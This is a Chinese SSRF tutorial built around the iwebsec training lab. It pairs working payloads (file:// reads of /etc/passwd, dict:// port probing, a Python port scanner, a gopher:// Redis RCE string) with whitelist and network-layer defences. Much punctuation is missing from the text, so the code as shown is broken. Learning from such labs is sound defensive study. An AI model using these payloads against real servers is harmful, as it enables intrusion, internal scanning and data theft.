
从零开始掌握SSRF漏洞iwebsec靶场实战指南1. 认识SSRF漏洞的本质想象一下你正在一家高档餐厅点餐服务员承诺可以帮你从任何地方获取食材——包括隔壁竞争对手的厨房。SSRFServer-Side Request Forgery漏洞就像这个过于热心的服务员它允许攻击者诱使服务器向任意地址发起请求从而突破网络边界限制。SSRF的核心危害主要体现在三个方面敏感数据泄露读取服务器本地文件如/etc/passwd内网渗透跳板探测或攻击内网服务如Redis、MySQL请求伪造攻击以服务器身份发起恶意请求初学者常混淆SSRF与CSRF的区别。简单来说CSRF是利用用户身份执行非预期操作SSRF是利用服务器权限发起非预期请求提示现代云环境中SSRF可能导致更严重的后果如获取云服务元数据AWS的169.254.169.2542. 搭建iwebsec靶场实验环境2.1 靶场部署与配置iwebsec是一个专为Web安全学习设计的漏洞演练平台内置多种漏洞场景。以下是本地部署步骤# 下载并启动Docker容器 docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec访问http://localhost即可看到如下模块漏洞类型路径难度等级SSRF基础/vuln/ssrf/ssrf1★★☆☆☆SSRF进阶/vuln/ssrf/ssrf2★★★☆☆SSRF协议利用/vuln/ssrf/ssrf3★★★★☆2.2 必要工具准备建议安装以下浏览器插件辅助测试HackBar快速构造和发送PayloadPostman复杂请求测试cURL命令行版协议调试3. 基础文件读取实战3.1 发现SSRF注入点访问http://localhost/vuln/ssrf/ssrf1.php可见如下页面代码片段?php if (isset($_GET[url])) { $link $_GET[url]; $curlobj curl_init($link); //...省略其他curl配置... echo curl_exec($curlobj); } ?这个简单的文件下载功能就是典型的SSRF漏洞场景——未对用户输入的URL进行任何过滤。3.2 利用file协议读取系统文件尝试在URL参数中使用不同协议读取Web目录文件HTTP协议/vuln/ssrf/ssrf1.php?urlhttp://127.0.0.1/robots.txt读取系统敏感文件FILE协议/vuln/ssrf/ssrf1.php?urlfile:///etc/passwd关键原理当服务端使用curl_exec或file_get_contents等函数时如果未限制协议类型攻击者可以通过构造特殊URL访问本地文件系统。4. 内网探测与端口扫描4.1 使用dict协议探测服务dict协议设计用于字典查询但可被利用来检查端口开放状态/vuln/ssrf/ssrf1.php?urldict://127.0.0.1:3306典型响应分析端口开放返回服务标识如MySQL的版本信息端口关闭连接超时或拒绝4.2 自动化探测脚本虽然靶场环境简单但真实场景中可以使用Python脚本自动化检测import requests ports [21, 22, 80, 3306, 6379] for port in ports: try: r requests.get( fhttp://target/vuln/ssrf.php?urldict://127.0.0.1:{port}, timeout3 ) print(f[] Port {port} open - {r.text[:50]}) except: print(f[-] Port {port} closed)5. 防御方案与最佳实践5.1 输入过滤策略建议采用白名单机制限制允许的协议和域名$allowed_hosts [example.com, cdn.example.net]; $parsed parse_url($_GET[url]); if (!in_array($parsed[host], $allowed_hosts)) { die(Invalid host); } if (!in_array($parsed[scheme], [http, https])) { die(Protocol not allowed); }5.2 网络层防护防护措施实施方法效果评估出站流量限制防火墙规则限制服务器出站连接★★★★☆网络隔离内网服务设置独立VPC★★★★☆请求目标验证解析DNS记录比对IP范围★★★☆☆6. 漏洞利用的进阶思考在实际渗透测试中SSRF常与其他漏洞形成组合攻击云环境利用通过SSRF获取IAM角色临时凭证协议转换攻击利用302跳转绕过协议限制CRLF注入在请求中插入恶意头信息一个有趣的案例是某次测试中发现通过gopher://协议可以构造Redis命令最终实现了无需认证的RCE/vuln/ssrf.php?urlgopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$10%0d%0aevilcode%0d%0a这种攻击手法的关键在于精确控制协议payload的URL编码格式。建议在测试环境中多尝试不同协议的组合使用你会惊讶于SSRF的灵活性。